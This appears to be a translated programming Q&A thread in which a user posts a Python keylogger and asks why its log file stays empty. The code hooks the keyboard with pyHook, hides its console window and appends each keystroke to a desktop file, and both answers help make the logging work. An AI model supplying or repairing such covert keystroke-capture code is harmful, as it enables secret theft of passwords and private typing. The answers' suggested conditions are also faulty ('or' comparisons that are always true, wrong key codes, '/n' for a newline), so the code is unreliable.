python写入输出文件

时间:2015-09-06 16:53:20

标签: python pywin32 keylogger

我正在尝试将我所做的击键写入新的文本文件。 我得到了以下代码:

import win32api
import win32console
import win32gui
import pythoncom
import pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):
    if event.Ascii == 5:
        _exit(1)
    if event.Ascii != 0 or 8:
        f = open('C:\Users\Joey\Desktop\output.txt', 'w+')
        buffer = f.read()
        f.close()

        f = open('C:\Users\Joey\Desktop\output.txt', 'w')
        keylogs = chr(event.Ascii)

        if event.Ascii == 13:
            keylogs = '/n'
        buffer += keylogs
        f.write(buffer)
        f.close()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

我没有收到任何错误,所以我觉得这很好。但每次我检查output.txt时,我都会看到一个空的文本文件。我的代码出了什么问题?

2 个答案:

答案 0 :(得分:2)

查看here了解ww+之间的区别。每次第二次打开以写入f=open('C:\Users\Joey\Desktop\output.txt', 'w')

时,您都会覆盖该文件

我想象你的文件只有一个换行符。尝试使用a选项打开,每次都写入文件结尾(EOF)。

if event.Ascii != 0 or event.Ascii !=8:
    f=open('C:\Users\Joey\Desktop\output.txt', 'a')
    keylogs=chr(event.Ascii)

    if event.Ascii == 13:
        keylogs='/n'
    buffer += keylogs
    f.write(buffer)
    f.close()

答案 1 :(得分:1)

最初,您的if语句始终评估为true,它应该是:

if event.Ascii != 0 or event.Ascii !=8: 

或者,甚至更好:

if event.Ascii not in [0, 1]: 

此外,文件打开模式可能不是您想要的,请查看the docs了解这些模式。